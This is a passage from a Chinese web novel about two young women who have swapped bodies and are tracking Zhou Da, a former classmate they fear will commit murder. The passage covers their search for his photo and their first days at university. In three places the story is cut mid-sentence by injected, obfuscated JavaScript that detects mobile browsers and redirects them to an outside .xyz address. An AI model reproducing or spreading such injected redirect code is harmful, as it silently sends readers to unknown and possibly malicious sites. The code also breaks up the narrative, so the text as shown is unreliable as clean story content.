“周达这个孩子，平时就话少，家里出事之后就更不爱说话了……”严絮轻叹一声，“拍毕业照那天，连同学都没一个能联系上他的。” “您知道他初中毕业之后去哪了么？” 严絮摇头，“这我就不知道了。不过，应该是没有继续上学了，他差点连初中都没能读完。” 这周达还真是连半点痕迹也没留下，闻夏微微皱眉，想了想，又问：“还有其他照片可能拍到他的吗？” “嗯……学校活动或者运动会那些可能有，我都会让班长多拍些照片，不过周达也不怎么参加，”严絮再次摇头，“估计拍到他的也不多。” “我还得找找那些照片存在哪了，你们着急要么？不着急的话，我这两天有空的时候可以帮你们再看看。” 闻夏其实已经不抱希望了，但严絮这么说，她还是应下，并主动留下了自己的联系方式：“好的，谢谢老师。哦，对了，您知道周达家住哪么？” “我倒是知道的……不过那是他以前和他爸一块儿住的地方了，后来他去了市福利院，现在就不知道了。” 今天这一趟算是没什么收获，还不得不来见了一面严絮，看着她看向“闻夏”时的目光，这一次身为旁观者，闻夏心里有些复杂。 “小夏……你们找周达是遇到了什么事吗？如果有需要帮忙的地方，都可以跟我说。” “没什么大事，今天打扰老师了。”闻夏看向姜晓霜，“我们走吧？” “再坐会儿吧？一会儿可以留下来一起吃个午饭呀。” 姜晓霜接收到闻夏的信号，也跟着拒绝：“不用了，谢谢老师。” 严絮这才停住了劝，“好吧……那，小夏，以后有空，可以来家里吃饭。” 上一次见面的结尾，严絮似乎也是说的这么一句话，二人走出门外，闻夏转头看向她，轻声道：“老师再见。” 眼见这尴尬的折磨就要结束，姜晓霜终于也真心地朝严絮露出一个微笑，严絮微微发愣的神情被合上的门掩去。 姜晓霜这才狠狠舒出口气，二人一边下楼，她一边吐槽道：“憋死我了，憋死我了，这老师一直含情脉脉地看着我，我还不能多说话，可真难熬。” 闻夏嘴角弯了弯，“辛苦了。” 忍了许久，姜晓霜终究还是克制不住好奇心，问道：“你和这个严老师，怎么感觉怪怪的呀。” 走到楼外，夏日的太阳已经高悬在空中，一时让人觉得有些睁不开眼，炽热潮湿的空气中仿佛布满了水汽。 闻夏抬手遮着眼睛，她早猜到姜晓霜会问，也没想着瞒她，答道：“她是我妈妈的朋友。” 9. 照片 “……你妈妈的朋友？”姜晓霜一怔，她当了三年的“闻夏”，自然知道她是单亲家庭的孩子，而且她妈妈从来没出现过，这种情况，一般就是离婚或者母亲早逝，她怕提起这事闻夏会难过，所以她也一直没有问。 “那你妈妈是……” “我也不知道。”闻夏露出个有几分无奈的笑，“闻尧的话也不知道真的假的。小时候我想知道她去哪了，但是没人愿意告诉我，后来我也不想问了。” “等我上了初一，严老师突然私下找我，说她是我妈妈的朋友。” “她知道你妈妈去哪了吗？” 闻夏摇头，“她也不知道。” …… 严絮比唐月小几岁，与其说是朋友，倒不如说是个总爱跟着她到处跑的小妹妹更为贴切。 唐月一直很照顾严絮，只是后来严絮考上了外省的大学，那会儿唐月已经和闻尧在谈恋爱了，闻尧看起来也对唐月很好，可严絮就是不太喜欢他，也说不清为什么。 严絮在外省读了四年大学，即便寒暑假会回家，也逐渐和唐月断了联系。等到她工作两年辞职回到家乡，便听说唐月不知去向，连她父母家也都不知道搬到了哪去，只留下一个不到三岁的女儿跟着她那没出息的父亲闻尧。 她买了些东西，想要去看看孩子，见到了闻尧，闻尧还记得她是那个成天跟在唐月身后的小姑娘，没好气地赶了她走。 闻尧却不是从前那样帅气得连唐月也能迷住的样子了。 严絮留在闵湖三中当了一名初中老师，日子一天天过去，久到她几乎都要忘记年少时的那些时光了，却在某个新学年的第一天，瞧见了那双熟悉的眼睛。 那人坐在学生群中，沉静的面容隐约能看出几分故人影子，她低头在学生名单里找寻着，食指停在“闻夏”两字旁边。 闻这个姓不算常见，她瞬间便知道了对方是谁。 “……她和我说了很多我妈妈的事。”走到了荫凉处，闻夏放下了遮阳的手。 对于严絮的突然出现与亲近，她一开始虽然有些不知所措，但却也暗暗欣喜有这样一个人能关心她。 她开始忍不住想唐月会不会真的没有死，会不会只是被闻尧气走了，她应该也是爱她的，她的朋友都这么温柔，唐月要是在，也是会对她这样好的吧？ ……可是她为什么不在呢？ …… 当闻夏发现自己会因为严絮的善意而开始胡思乱想时，正巧是严絮第二次邀请她去家里吃饭。 她答应了，却在离开时同严絮认真告别，感谢她的照顾，并请她以后不用再这样做了，只需要保持普通的师生关系就好。 严絮显然被她这样有些冷漠的话伤到了，虽然当场维持着情绪，后面几天上课时脸色却不大好看。 闻夏说不清面对她时是什么情绪，好在这样的尴尬没有在初中三年一直持续下去。不知是不是巧合，初二他们班便换了英语老师，她也再没遇见过严絮。 也许是因为用着姜晓霜的身体，适应了北方干燥的气候，就连闵湖的夏天都变得难熬了起来。 二人在小区门口的便利店买了两根雪糕，慢悠悠地吃着雪糕走回家。 “我们现在怎么办？” “不知道。”闻夏开玩笑道，“要不我们去学校档案室偷周达的资料吧。” 她要是遇见周达，应该是能认出来的，但是最危险的是姜晓霜，她可不认识周达长什么样。最好还是在她回卫城之前能够找到周达的照片，或者至少也要了解到他初中之后的去向。 “我们要不去问问福利院？” “福利院大概不会那么简单就告诉我们。”闻夏抿着唇，目光不经意地落在前方一个背着相机的人身上，“不过去碰碰运气也可以。” 那人大概是个游客，一路走走停停，不知在这个普普通通的街区拍些什么。 前面的人侧过身，又一次举起相机，相机镜头反射的光闪过，闻夏下意识眨了眨眼，却倏地顿在原地。 在发放助学金的那个舞台上，她也曾被相机反射的光这么晃到过一次。 她站在路上就掏出手机打开浏览器，姜晓霜将雪糕的包装扔进垃圾桶，看见她的动作，疑惑地走近，“怎么了？” “发助学金的时候，每年都会拍照的。或许会发在网上。” 姜晓霜也领了三年，闻言恍然大悟：“对哦！” 输入了年份、学校和助学金等关键词，闻夏看着跳出来的第一个结果，点击打开。 这是个专门发布闵湖本地教育新闻动态的网站，这篇文章是她初三那年发布的，里面附上了市里几个中学发放奖学金的一些照片，第二张就是闵湖三中。 “找到了。”闻夏和姜晓霜对视一眼，放大了那张照片。 这张发布在网上的照片显然不如相机里清晰，但足以看清人脸，台上十来个学生，闻夏顺着一个个看过去，她当时站在左数第三的位置，再往后—— 她一边回想着周达的样子，一边仔细辨认，最后停在了右数第二个人。 “是这个人吗？”姜晓霜见她久久没有动作，问道。 闻夏没回答，又往后看了看最后一个人，然后很快滑了回来，“应该就是他。” 她将照片保存下来，发给了姜晓霜，姜晓霜从她那卡顿的旧手机上打开，盯着那张照片看了许久，“原来就是这个人啊。” 她得记住他的样子才行。 找到了周达的照片，闻夏这一趟闵湖便不算白跑。 只是她总归要回卫城去，既然确认了周达是同校的学生，那或许在榆城并不是他们真正意义上的第一次见面，还得姜晓霜自己多注意才行。于是在经过姜晓霜多次表示自己不介意去打工之后，闻夏还是答应第二天带她去自己之前工作的地方。 她高中毕业后的一整个暑假，都在为了接下来的学费和生活费而努力攒钱。 不过她当时找到的两个兼职不远，一个在超市，一个在面包店，都在附近的街上，也不算太累。 两人正一块儿凑在厨房里准备晚饭，姜晓霜听说要在面包店工作，还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536686|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些莫名的跃跃欲试，“我能有机会自己做面包吗？” 闻夏笑着摇头，“不太有，厨房的工作不是谁都能做的，我那个岗位就是收银、引导客人、发发传单和试吃之类的。” “哦……那好吧。” 做了简单的两菜一汤，闻夏的厨艺算不上太好，但姜晓霜觉得比自己做的好吃多了，一边吃一边夸个不停。闻夏刚放下筷子，手机便响了起来。 是严絮的电话。她还真的找到了周达的其他照片。 虽然周达只是恰巧入了镜，但距离可比助学金那样要将整个舞台包括进去的照片要近多了，照片里的五官也更清晰。 闻夏向严絮道了谢，再次将照片转发给了姜晓霜，“这张更清楚。” 姜晓霜依旧郑重地保存下来，“我会注意观察的，一发现他我就告诉你。” “你小心，就算真的看见他了也不用太紧张，他这个暑假应该不会做什么的，你就当没看见一样，正常生活就好。” 姜晓霜连连点头：“好，我知道了。” 吃完饭，收了碗碟进厨房，闻夏开了水龙头准备洗碗，姜晓霜落后一步，放下汤碗，想要接过洗碗的活，谁知刚走到闻夏旁边，却被水扑头盖脸地浇了一身。 二人惊叫一声，连忙躲开，姜晓霜呆了两秒，随即迅速蹲下，摸索到水池底下的水阀拧了两圈。 水流逐渐变小，姜晓霜松了口气，抱怨着站起身来：“这个水龙头都修了两次了，怎么又坏了！那个大叔真的不靠谱，我明天换别人！” 二人脸上和衣服都被打湿，头发还往下滴着水，闻夏缓过神来，沉默望着拽着自己往卧室去换衣服的姜晓霜。 换了干净衣服，两人这才回到厨房收拾这一片狼藉。 闻夏清理着水池周边溅出的水，水阀关掉了，还没洗的碗也只能暂时先这样放着了。 她侧头看向正在拖地的姜晓霜，轻声道：“对不起。” 姜晓霜停下动作，抬头看她：“怎么又道歉？” “你不怪我吗？” “我不是说了不是你的错吗，真的不怪你。” 姜晓霜继续埋头拖地，米白色的地砖上留下浅浅的、不太明显的水痕。 “我从前在家里被父母管着，被逼着学习，谈论那些虚无缥缈的未来，总觉得不开心。我经常会想，要是能像小说主角那样，充满勇气地进行一场历险，过一个不那么无趣，和我完全不一样的生活，那该多好。” “可是当我真的开始了历险，我才发现，勇气不是说有就有的，我也不会因为过上了不一样的生活，就突然变得勇敢自信，变成一个完美的人。” 姜晓霜忽地笑了一声，“以前的我被保护得太好，自己却意识不到这一点。这样的经历，世界上或许也没有其他人能体验了，我真的学会了很多，不管是不是因为你，我都真心地想谢谢你。” “当然，”姜晓霜歪了歪头，俏皮道：“如果以后我们能换回来那就更好了。” 她好想好想回家，也好想好想她的爸爸妈妈。 10. 走吧 找兼职的过程很顺利，闻夏带着人去了自己工作过的地方，姜晓霜没有任何意外地入了职。 老板们也都不着急让她马上到岗，姜晓霜便打算再陪闻夏两天，闻夏晃了晃刚刚收到消息的手机，“陈佳她们今天下午就到闵湖，你还是不打算见她吗？” 姜晓霜仍旧坚持：“不见。那你明天陪她们玩儿去吧，我明天就去工作。” “好吧。”闻夏应下。她约了人出来玩，最后却抛下人自己走了，虽然是提前说好的，陈佳也不介意，还另外约了一个同学一起，但她多少觉得有些对不住，明天陪她们玩一天，后天也就要回卫城了。 “……和陈佳一起的还有谁？” “她高中的同班同学，叫高雨澜。” “哦……陈佳，她大学在哪里？” “噢，对，忘了和你说这个，她大学也在榆城。” “真的吗？”姜晓霜又高兴起来，“是你们约好一起来榆城的吗？” “也不算吧。”闻夏摇头，“她知道我要来榆城，最后也选了榆城的学校。” 姜晓霜默默记下。换成她，她们估计也会约着去一个城市的大学。 宁海和闵湖之间距离不远，高铁只要40分钟，等二人回到家，陈佳那边也发来新消息，说她们已经坐上高铁了。 闻夏打算去接她们，从闻家到火车站也还需要些时间，她歇了没几分钟，便又要出门了。 姜晓霜站在门边送她，眼巴巴地看着她：“你晚上还回来住吗？” “回啊，”闻夏穿好鞋，转头看她，向她展示自己空空的双手，“我行李都还在这呢。她们俩住一间，也没我的位置了。” 姜晓霜这才又笑了：“那你早点回——不对，不用早回，你们高兴玩儿，几点都行。” 闻夏却仿佛没有听见她的纠正，点头道：“好，我会早点回来的。” * 公交车慢慢悠悠晃到了火车站，闻夏起身站到后门旁，等公交车掉头后到站停下。 手机传来震动，闻夏接起电话，“你好。” “喂，晓霜，我们下车了，正在出站，你在哪？” “我也到火车站了。” 公交司机踩下刹车，闻夏因为惯性前后晃了晃，两步跳下车，“我在出站口等你们。” “好，拜拜。” A省一向是热门旅游地，作为省会的闵湖，暑假期间的高铁站人潮涌动，闻夏打量着出站的人群，余光中有人朝她这边招了招手，她定睛一看，正是陈佳和高雨澜。她也朝她们挥手示意。 三人聚在一起，打了车先去定好的酒店放下行李，商量着晚上要吃些什么好吃的。 陈佳定的酒店在市中心，附近有一个挺大的商场，背后还有一条热闹的步行街，闻夏便提议可以去那附近逛逛再决定晚餐，陈佳和高雨澜都赞成。 “你住的酒店在哪呀？离我们远吗？” “我住朋友家，不算远，都在长阳区。” 来A省之前，闻夏便告诉了陈佳这一趟她主要是去闵湖见朋友，所以陈佳倒也不奇怪，只是莫名觉得心里酸酸的，“你和你那个朋友感情这么好啊？以前怎么都没听你说过她。” 高雨澜睁着大眼睛左右瞧，好笑道：“佳佳，你的语气好像男女朋友吃醋的时候。” “什么呀！”陈佳抬手作势就要打她，高雨澜连忙往一旁缩了缩，两人在后座闹成一团。 出租车司机从后视镜里看了一眼，带着浓重的闵湖口音，笑问：“小姑娘，你们都是北方来的吧，来旅游？” 闻夏应声：“嗯。” “来玩几天呀？” 后座的陈佳接了话：“我们先去了宁海，再在闵湖待一天就回去了。” “这么快啊，不再多玩几天？我看你们这个年纪，高中生？还是大学生？” “高中刚毕业呢。” 司机挑眉：“巧了，我家闺女也是今年高中毕业，那可得好好玩一玩啊。” “是啊。”陈佳往前倾身，又问，“师傅，我们去的那附近，有什么好吃的推荐吗？” “那边吃的多着呢，”司机在红灯前停下，指了指坐在副驾的闻夏，“刚才这小姑娘不是也说了，你们就去逛逛，我不经常往那边去吃饭，我也说不上，不过招牌大的那几家，在本地也都是有名的，你们都可以试试。” 过了这个路口，再一个左转，司机便靠边停了车，指着旁边的一条小巷子，道：“到了，你们那个酒店应该就在这里面，这个小路车开不进去，你们走两步吧。” “好，谢谢师傅。” 小巷子看着小，但走进里边又是另一条宽阔的道路，三人左右找寻着酒店的招牌，高雨澜忽然指着左边一个方向道：“在那里！” 闻夏陪着她们办好入住，放下了行李，便又一齐出去逛起了街。 正值旅游旺季，闵湖到处都是外地游客，更别提这热闹的市中心，许多店都挂着当地的特色商品，对陈佳和高雨澜来说都是陌生又新鲜的东西，兴致勃勃地上前挑选。 闻夏没有她们这样逛街购物的兴致，只耐心陪着，三人一路逛完了步行街，最后进了商场，挑了一家本地的特色菜餐厅。 “我去一下卫生间。”高雨澜起身离开。 闻夏拿了水杯，给三人都倒上柠檬水，陈佳坐在对面，双手撑着脸看她，“你是不是很喜欢闵湖？” “什么？”这没头没尾的问题，让闻夏有些疑惑。 “就是……”陈佳挠了挠脸侧，“不知道为什么，我感觉你看起来和在卫城的时候不太一样。在闵湖，你好像更放松，更自然。” “其实我之前就觉得……应该是从我们初中毕业之后，你就变得怪怪的，好像也不怎么爱和我说话了，但是我又能看出来你也不是讨厌我……” “哎呀，”对这突如其来的矫情，陈佳自己都有些受不了，摆了摆手，“不说了，反正都过去了。” 闻夏张了张嘴，却没能说出解释的话。 原来亲近的朋友是真的会发现的。 可是以陈佳的性格，如果知道了，一定会想着来帮她们，但她们要做的事毕竟有风险，她也担心改变太多，会发生一些不可控的事，只好先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536687|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞒着陈佳。 或许只能等某一天她们交换回了自己的身体里，让姜晓霜自己和她说吧。 那才是她真正想要见到的好朋友。 * 第二天的闵湖一日游依旧是闻夏作陪。 说起来也新鲜，她从小在这长大，却没有机会总出去玩儿，现在却混在游客堆中，看着那些她从前也不曾见过的东西，为她记忆中的闵湖又加了点不一样的颜色。 初初开启打工生活的姜晓霜，结束工作后感受到了从所未有的疲倦，也没力气折腾晚饭，只发了条消息请闻夏帮她带些吃的回来，便倒在沙发上睡得天昏地暗。 闻夏到家时临近八点，她敲了好几次门，姜晓霜才摸黑爬起来给她开门，“你回来了。” 闻夏看着她困倦的模样，显然是刚睡醒，这才意识到什么，将手里的提着的打包盒放在茶几上，问：“你没吃晚饭吗？” “没有……”姜晓霜揉着眼睛，鼻子动了动，肚子后知后觉地泛起了饥饿感，她贴到茶几边上打开包装，“你给我带了什么好吃的？” “我以为你是想要吃些小吃，只买了些烤串和一个卷饼。不够的话我们再出去吃吧。” “没事，够了够了。”姜晓霜一口烤肉一口酥软的卷饼，勉强填了半饱，才恢复些活力和闻夏说话，“我今天注意观察了，周达没出现。” 闻夏点点头，没有说话。 “你们明天要回去了吗？” “嗯。” “几点？” “明早11点的飞机。” “哦……”姜晓霜埋头又咬了一大口卷饼。她想去送送闻夏，但这样肯定会见到陈佳，于是她只是道，“我明天还要工作，就不去送你们啦。” “好，那我们开学见。” “嗯嗯，开学见！”是啊，虽然暂时又要分离，但她们很快就能再见了。 想到这个，姜晓霜心里又燃起几分斗志。交换身体并非都是坏事，她也能凭着自己的努力，去这么好的学校学习了！ 在闵湖的最后一晚，因为姜晓霜的疲倦而异常安静。闻夏在黑暗中睁着眼，却没来由地有些无法入睡。 这或许，也是她最后一次来到这个家了。 …… 翌日一早，闻夏醒来时，姜晓霜正轻手轻脚地越过她爬下床。 “你起了？” “啊，我吵醒你了吗？” “没有，”闻夏抬手看了一下时间，“我也该起了。” “这么早？不是中午的飞机吗？” “我先去酒店找陈佳她们，得绕一下路。” “哦……” 厨房水龙头已经换上了新的，二人各自占了一个水池洗漱。 屋里除了水声，静悄悄的，耀眼的阳光透过厨房的窗户落在地板上，泛着金灿灿的橙。 二人都没说话，闻夏收好了背包，静静站在走廊尽头，心里描画着这一眼就能看清格局的小房子。 姜晓霜从卫生间出来，动作飞快地换好了衣服，转头看向闻夏，“走吗？” “嗯，走吧。” 11. 宿舍 毕业旅行结束，闻夏回到卫城，与姜晓霜又恢复了网友一般的关系。 一开始，姜晓霜还十分留心观察周达会不会出现，结果一天一天过去，连个长得像他的人也没瞧见过。 姜晓霜在那边每天打工，闻夏自然也不能心安理得地坐在家里，也找了兼职出去工作，这过于懂事的模样叫姜家父母稀奇了好一阵子，但她愿意主动出去锻炼锻炼是件好事，许文和姜尧都没拦她。 大学前的最后一个暑假，便这么平静地结束了。 新生入学，闻夏拒绝了姜家父母想要陪着送她到学校宿舍的打算，和陈佳一起，每人提了个大行李箱，来到了榆城，前往各自的学校。 学校正门外，新生们脸上都是一副兴奋又好奇的模样，家里人帮忙拿着大包小包的行李，跟着指引牌一路往里。 瞧见落单的闻夏站在路边四处张望，穿着蓝色志愿者衣服的一位学姐热情地上前，问：“同学，需要帮忙吗？” 闻夏礼貌朝她笑笑：“不用，谢谢，我在等朋友。” 一听她说话，学姐惊喜道：“学妹是C省人吗？我是清原的。” “对，我是卫城人。” “都是老乡，我们学校C省人不算很多，以后可以一起多聚聚。”学姐大约是个自来熟，越发热络起来，朝她挤眉弄眼道，“等男朋友啊？” 闻夏无奈笑道：“不是。” 就在这时，姜晓霜也到了，她从公交车上下来，瞧见前面的闻夏，拖着行李箱小跑过去，张嘴喊出一个“闻”字，看见她身旁站着别人，又马上咽了回去，只向她用力招了招手。 闻夏回了一个笑，也挥了挥手，向学姐解释：“我朋友来了。” 正巧有别的同学来询问，学姐识趣地没再打扰，忙起了自己的工作。 闻夏上前几步迎上姜晓霜，姜晓霜掩着嘴小声道：“差点喊出你名字，还好我收得快。” 她们之前总共见面也没几天，而且几乎都是私下说话，称呼的也都是对方的真名，但现在在学校便不能这样随意了。 “我们最好还是适应一下，把称呼改过来，免得哪天一不小心喊错了名字。” 姜晓霜深以为然，点头赞成：“你说得对。”随即她又有些暴躁地抬手捂脸，“但是真的好难啊！” 对着自己的脸，还要喊出自己的名字，有种对着镜子自言自语的奇怪羞耻感，谁能明白啊！！！ 闻夏拍拍她的肩，“习惯就好了。” 二人同专业，报道都能一直待在一块儿，确认了宿舍信息，姜晓霜拿到的那个，就是闻夏前世住的那间宿舍，连房间号都一模一样。也巧，闻夏和她住在同一层楼。 姜晓霜看着那个开头的数字5，愁眉苦脸道：“不会在五楼吧？” 旁边幽幽传来一声叹息：“同学，不是六楼已经很不错了。” 二人扭头望去，姜晓霜好奇问：“你是在六楼吗？” 见女同学生无可恋地点头，姜晓霜心里顿时又升起些庆幸来，但无论如何，一会儿是免不了提着笨重的行李箱爬楼了。 和住在六楼的那位同学同路，三人跟着路标找到3号宿舍楼，开始艰难地爬楼。走到五楼，那位同学又深深地叹了口气，认命地她们道别，继续一级一级地缓慢向上走。 楼梯口对面墙上挂着房号标识，501-510往左，511-520往右。姜晓霜扫了一眼，指着右边走廊，道：“我在这边。” 闻夏也低头再次确认了房间号，望向另一头，“我在左边。先去放行李吧，我一会儿来帮你一起收拾。” “好。”姜晓霜点头应下，有些紧张地对着数字找到515宿舍，不知道室友们是不是都已经到了。 房间门开着，里面有好几人，其中两人应该是学生，都有家人帮着正在整理行李、铺床，瞧着也是刚到不久的样子。 这栋楼从外面看着挺新，里面设备也不错，都是上床下桌的四人间，卫生间和浴室则是每层楼公用。 姜晓霜一个人进去，立马受到了众人的注视，她尴尬地抬手打招呼：“嗨……你们好。” “你好你好。”两个室友反应过来，也上前寒暄一番，互相介绍了姓名和专业。 两个室友名叫徐乐怡和张书雯，都是榆城本地人，还正巧都是学新媒体的。两人似乎一见如故，纷纷选了离房间门远一些的，靠左挨着的两张床。 姜晓霜想了想，挑了右边靠窗的那一张。 宿舍床位先到先得大约都是心照不宣的事，房里众人对她的选择也没有太多意外，又各种忙碌起来。 有位家长见她一个人忙前忙后，差点掉了东西下来，上去搭了把手，问：“同学，就你一个人啊？” 姜晓霜朝她道了谢，答道：“我朋友一会儿会来帮忙。” 女人点点头，“那就好。” 闻夏是最后一个到503宿舍的，她倒也不在意睡哪张床，放下行李寒暄几句，便径直出了宿舍，去了她前世住的515。 一进门，看见两张熟悉的面容和她们站立的位置，她便确定了，虽然高考分数不一样，但来到榆大之后，“闻夏”的一切都和前世没有变化，宿舍和室友，都是一样的。 唯一的变化，大概就只有这突然多出来的“姜晓霜”了。也不知她们这无意间，是将谁从这个专业挤了出去。 不过能住在一层楼也好，方便她们观察和交流。 她两手空空进了门，瞧着不太像门边那张床的主人，徐乐怡和张书雯对视一眼，试探道：“同学你是……” 闻夏没在意她们，上前轻唤了一声“闻夏”，姜晓霜正蹲在地上摆弄着行李箱，闻声抬头，惊喜道：“你来啦。” 徐乐怡又问：“是你朋友吗？” 姜晓霜点头，“对，我朋友。” 既然不是室友，对面那两人似乎也不太在意这人无视她们的冷漠行为了，只多看了闻夏一眼，没再说什么。 互相帮忙收拾好了宿舍，也花掉了大半天的时间，两人到学校时临近中午，这会儿太阳西垂，竟是已经到了晚饭时间。 已经九月，入了秋之后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536688|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天便逐渐黑得越来越早。二人下楼，准备去楼下的食堂凑合一顿晚饭，姜晓霜锤着因为提行李而隐隐泛酸的肩膀，问：“楼下的食堂怎么样呀？” 为了省时和省钱，闻夏大多时候都是在这个食堂吃的饭，应道：“还行，种类挺多的，什么菜都有一点儿。” “哦……”姜晓霜前后转头瞧了瞧，又小声问，“我住的，是你以前住的那间宿舍吗？” “是，室友也一样。” 姜晓霜顿时眼睛一亮，打听起来，“她们人怎么样？” “不好说，我们性格不同，或许你们相处起来会不一样。” 这话一出，姜晓霜顿时便明白过来她们显然是关系不太好的，不然以闻夏的性格，好就是好，不熟就是不熟，不会有这样略显多余的描述。 “不行，你得说仔细点儿，万一她们认识周……那谁呢？万一她们的朋友认识他呢？我和你性格不一样，但至少人际关系还是尽量保持不要变化太大吧？” 闻夏当然知道是这个理，只是她之前分析过，她和室友们接触属实不算多，即便关系一般，也不至于因为这个就想要杀她，室友们的嫌疑在她看来是很小的。 她本想着让姜晓霜能够体验体验正常大学生的生活，不要因为她的话先入为主，对谁预先生出不好的印象。毕竟，姜晓霜和室友们也许真有可能成为朋友。 她沉思着没说话，二人已经走到了宿舍楼外，姜晓霜晃着她的手，祈求道：“你就说吧~” 闻夏拉住差点走错路的姜晓霜，叹了口气：“好吧，我告诉你。” “你也看到了，徐乐怡和张书雯，她们俩关系一直比较好，还有一个人，应该明天会到，叫刘曼云。刚开始大家关系都还过得去，刘曼云和她们俩闹过矛盾，差不多是……这学期期中的时候吧，我也不太清楚为什么，总之她们从那之后就不怎么说话了，徐乐怡和张书雯就两个人黏在一块儿玩。” 姜晓霜听得连连点头，最后又问：“那你呢？” “我啊……”闻夏推开食堂的门，大概是因为新生第一天到校，大家都成群结队地约着出去玩了，食堂里的人少得可怜。 “我忙着上学和打工，和谁都不太熟。可能是我总拒绝，她们有什么也就不会再约我了。” 闻夏语气淡淡的，似乎并不太在意，姜晓霜却莫名听得有些心酸，她现在很能理解闻夏过的日子了，可是没想到为了生存，人竟然需要放弃那么多东西。 姜晓霜勾住她手臂，靠在她肩膀上像撒娇似的蹭了蹭，“当然了，你现在和我最熟。” 闻夏被逗笑，认可地点头：“是，我现在和你最熟。” “所以你不能再藏着掖着，有什么都要告诉我，也不用总是担心我，我都明白的，也都能接受。我们一点一点全都复原，只要不发生任何的意外，一定能成功，我们一定能救下你的，对吧？” 闻夏脚步一顿，侧头看向姜晓霜，那分明是她自己的眼睛，可是现在里面盈满的，都是不属于她的情绪。 她轻声应下：“我知道了。” 12. 接触 简单吃过晚饭，当作饭后散步，闻夏和姜晓霜打算去校门口的超市买些生活用品。 榆城大学的校园环境很好，随处可见绿植，宿舍区背后有一片梧桐树林，里面还铺了几条小路，是个像小公园一样的地方，时常能在这里看见晨跑或夜跑的学生。 穿过公园就是学校的西门，学校附近最大的一家超市便开在西门外。闻夏带着姜晓霜走进树林，脚下偶尔踩到落叶，发出清脆的破碎响声。 姜晓霜对学校地盘之大已经有了些概念，抬头望着夜空下高耸的丛丛树影，惊叹道：“不愧是榆大啊。不过……可惜在你的那个世界我们不认识，我好想知道那边的我最后去了哪里。” 虽然那个世界的她没有了“拯救闻夏”的任务，但她会不会也在某个时刻突然醒悟，发愤图强，最后也考上个好学校呢？ “你以前想过要去哪里上大学吗？” 姜晓霜摇摇头：“可能是距离初中还太远了，当时没想过这些。但应该也会挑一个南方的城市吧。不过会读什么专业我就想不出来了……感觉我爸妈应该会让我学个好找工作的专业吧。你选专业的时候他们没有说什么吗？” “确实，”闻夏回忆起来报专业那几天，“他们问了老师，说我这个分数，报些理工科的专业，以后升学或者工作都容易些。” 姜晓霜若有所思地点头，即便是转述，她似乎也被父母这番话说服了，“那你最后是怎么和他们说要学历史的？” “我说，我考好的分数，是为了顺利地去我想去的城市，读我想学的专业，而不是什么专业好、我的分数能够上什么，就读什么。” 姜晓霜抬手为她小小鼓掌：“果然是学神才能说出的话，真霸气。” 闻夏微微弯起嘴角，没有说话。 “你上大学的时候不会也是打两份工吧？” “没有，上学没那么多时间，假期才会打两份工。” 姜晓霜这才松了一口气，这个暑假她算是体验过了这种疲惫又充实的生活，如果还要在这基础上加上学业，她觉得她能直接原地去世。 西门因为靠近宿舍，和正门外面的那条街比起来，是另一种热闹，大大小小的店铺，直到深夜依旧亮着营业的灯。 “你之前说是在寒假的时候遇到的那谁，也是在这边吗？是哪家店？”姜晓霜四处张望起来。 “不在这条街上，那家火锅店的工作是我寒假才找的。” “那你这学期做的是什么工作？” 二人在超市面前驻足，闻夏抬头，指了指这家连锁大超市的招牌：“这里。” …… 半小时后，两人提着个塑料袋，走出了超市。 姜晓霜望着街上缓慢移动的车流，深深叹了口气。才刚刚结束闵湖的打工，谁能想到，逛一趟超市，还能找份新工作呢。 闻夏看向她，也有些无奈与歉疚，“我也没有那么早就开始打工，你可以再缓几天的。” 姜晓霜有气无力地回：“算了，来都来了，早晚都得干，万一晚来几天别人招满了呢。” “不过，你在寒假之前，真的没遇到过他吗？” 说到正事，闻夏脸上也严肃了几分，“我不确定。如果是巧合，他也在榆城生活，他至少也在找上我之前观察过我一段时间。但如果不是巧合，他能那么精准地在另一个城市找到我，而我们到目前还没发现过他……” 带着凉意的秋风刮过，姜晓霜莫名有些毛骨悚然，搓了搓裸露在外的手臂。 她茫然地望向满是行人和车辆的街道，路灯明明暗暗，却总有照不到的阴暗角落。 周达会不会现在就躲在黑暗中看着她们？ 前世的闻夏，在不知情的情况下被杀人犯偷窥了不知道多久，即便重来一次，做足了准备，似乎也寻找不到他的踪迹。他真的还没有出现吗？ 她们现在距离危险已经越来越近了，闻夏轻轻握住姜晓霜手臂，“我觉得他这个学期出现的可能性很大，你多留心，但是也要小心，千万不要有任何动作，如果我不在，就马上联系我。” 人行横道跳转了红灯，二人在路口站定，姜晓霜郑重点头：“我知道。” 周围聚集等待绿灯的人逐渐变多，这个场合不适宜谈话，两人都止住了话。 